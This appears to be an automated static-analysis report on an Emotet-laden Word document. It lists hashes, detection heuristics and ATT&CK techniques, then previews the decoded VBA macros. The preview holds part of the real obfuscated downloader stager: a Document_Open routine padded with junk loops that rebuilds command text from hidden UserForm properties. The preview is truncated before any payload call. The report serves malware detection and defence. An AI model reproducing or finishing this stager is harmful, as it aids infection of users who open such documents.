Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bf387d1708dc0fcb…

MALICIOUS

Office (OLE)

184.3 KB Created: 2019-12-17 22:30:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 9a42609b16344c22444a5df1df214879 SHA-1: 73e65ca39d41664208759e8268fda091e131aa5c SHA-256: bf387d1708dc0fcbde895e046eb391ab15293282f1115a2a3cef5b786a3e9260
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. ClamAV detection further confirms the Emotet family. The macro's obfuscated nature and use of CreateObject suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9741 bytes
SHA-256: d14bcfe7544aa6c6e794ce3d8f1ef63184e5d30e1fe0d279737d32bebc4b34df
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kyrfizqcvpvg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Apuysxqq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Slvwadestkvc = Vytvhcxvfiutr To Ijxgptkynajth
         Sqslivmxphx = Nbglzukax
         Ekzgvyjqerpe = Wcvlizsve
Next
Select Case Txtmgnvuyh
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Njzigenkg = Zejcvhhfl To Kmjsukggsbh
         Fhuogpduhxl = Txiylogaznzo
         Dahgraww = Sywwsdoyxzq
Next
Select Case Uptxmgtvawmzt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Rucwmwqefy = Ojsiowhml To Xcsuzwruxw
         Knroazkbp = Vyvzeeoax
         Euubrhneyl = Hvwihmam
Next
Select Case Wwvewnqjvge
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vwgyvpdtduf
End Sub

Attribute VB_Name = "Unjkwlnutvez"
Attribute VB_Base = "0{93C1FD64-4C7F-4F71-9370-B0040CDE1EA0}{07DFA1EA-51CD-4D6C-A732-DC1A5797300E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Mjlhxlnqz"
Function Xawbjsflf()
   For Uliusttnh = Rsytshekop To Wkayofxkr
         Fkjbaudexjq = Jnfcuknr
         Lkrvfiklt = Sjifdplka
Next
Select Case Vaoazupha
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ephzkyayvqgk = Kyrfizqcvpvg.Apuysxqq
   For Mhiesxzet = Tldwtarvx To Rwsocijwclvy
         Lieemdsirr = Hurrozcuplme
         Vxvxynylirn = Yzjfarkaoe
Next
Select Case Wvjvzwzjvivmu
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Uuculieidgd = Ephzkyayvqgk + Unjkwlnutvez.Prbdhzla + Unjkwlnutvez.Gzucpthnavr + Unjkwlnutvez.Wffrndattfaih
   For Bokaikoc = Ppmzzaokjewg To Gesynytxr
         Otrhoypn = Qimdopqlveu
         Terqowys = Vlgxdufhsy
Next
Select Case Wguyjdmwyjz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Dfnsjdxv = Uuculieidgd + Unjkwlnutvez.Axbvhjyswbo + Unjkwlnutvez.Zqopzswltyq
   For Ifbkffnkwzlf = Kxyadenkh To Ojpvlgehwgz
         Lheiuaiib = Uavbehyxmt
         Ypkthyiaktrov = Phginedal
Next
Select Case Dphcrnvl
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzp
... (truncated)

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